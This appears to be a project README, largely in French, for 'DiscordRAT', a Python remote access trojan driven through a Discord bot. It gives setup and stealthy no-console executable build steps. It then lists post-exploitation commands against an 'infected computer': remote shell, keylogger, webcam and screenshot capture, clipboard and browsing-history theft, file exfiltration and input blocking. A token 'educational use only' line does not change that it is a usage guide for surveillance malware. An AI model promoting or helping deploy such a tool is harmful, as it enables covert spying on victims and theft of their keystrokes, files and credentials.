
Outil d'administration à distance pour Discord entièrement écrit en Python3
Outil d'administration à distance Discord entièrement écrit en Python3.
Il s'agit d'un RAT contrôlé via Discord avec plus de 20 modules de post-exploitation.
Cet outil est à usage éducatif uniquement, l'auteur ne pourra être tenu responsable de toute utilisation abusive de cet outil.
Vous devez d'abord enregistrer un bot sur le portail développeur Discord, puis ajouter le bot au serveur de votre choix (assurez-vous que le bot dispose des privilèges administrateur). Une fois le bot créé, copiez le jeton de votre bot et collez-le à la ligne 17.
Installer les dépendances :
pip3 install -r requirements.txt
Ensuite, si les étapes ci-dessus ont réussi, après avoir lancé le fichier python avec python DiscordRAT, ou en lançant l'exécutable, cela créera un nouveau canal et publiera un message sur le serveur avec un numéro de session généré.
Votre bot devrait maintenant être prêt à l'emploi !
Prérequis : Python3,Windows(x64)
Compilation en exe (optionnel) : Si vous souhaitez compiler le bot en exe, vous pouvez utiliser PyInstaller. Dans le répertoire du bot, exécutez
PyInstaller --onefile --noconsole DiscordRAT.py
Ou
python3 -m PyInstaller --onefile --noconsole "DiscordRAT.py"
Si une erreur survient lors de la compilation, essayez d'importer le module discord
PyInstaller --onefile --noconsole --hidden-import=discord DiscordRAT.py
Availaible commands are :
--> !message = Show a message box displaying your text / Syntax = "!message example"
--> !shell = Execute a shell command /Syntax = "!shell whoami"
--> !webcampic = Take a picture from the webcam
--> !windowstart = Start logging current user window (logging is shown in the bot activity)
--> !windowstop = Stop logging current user window
--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test"
--> !admincheck = Check if program has admin privileges
--> !sysinfo = Gives info about infected computer
--> !history = Get computer navigation history
--> !download = Download a file from infected computer
--> !upload = Upload file from website to computer / Syntax = "!upload file.png" (with attachment)
--> !cd = Changes directory
--> !write = Type your desired sentence on infected computer
--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment)
--> !clipboard = Retrieve infected computer clipboard content
--> !geolocate = Geolocate computer using latitude and longitude of the ip adress with google map / Warning : Geolocating IP adresses is not very precise
--> !startkeylogger = Starts a keylogger / Warning : Likely to trigger AV
--> !stopkeylogger = Stops keylogger
--> !dumpkeylogger = Dumps the keylog
--> !volumemax = Put volume at 100%
--> !volumezero = Put volume at 0%
--> !idletime = Get the idle time of user's on target computer
--> !sing = Play chosen video in background
--> !stopsing = Stop video playing in background
--> !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required
--> !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required
--> !screenshot = Get the screenshot of the user's current screen
--> !exit = Exit program
--> !kill = Kill a session or all sessions except current one / Syntax = "!kill session-3" or "!kill all"
Si vous rencontrez des problèmes avec l'installation de win32api ou d'autres modules, essayez de l'installer dans un environnement virtuel Python. Veuillez éviter d'ouvrir des issues concernant les erreurs liées aux modules, car elles sont causées par votre installation Python et non par un problème inhérent à DiscordRAT. Si vous rencontrez "AttributeError: module 'enum' has no attribute 'IntFlag'" lors de la compilation avec Pyinstaller, veuillez exécuter :
pip uninstall enum34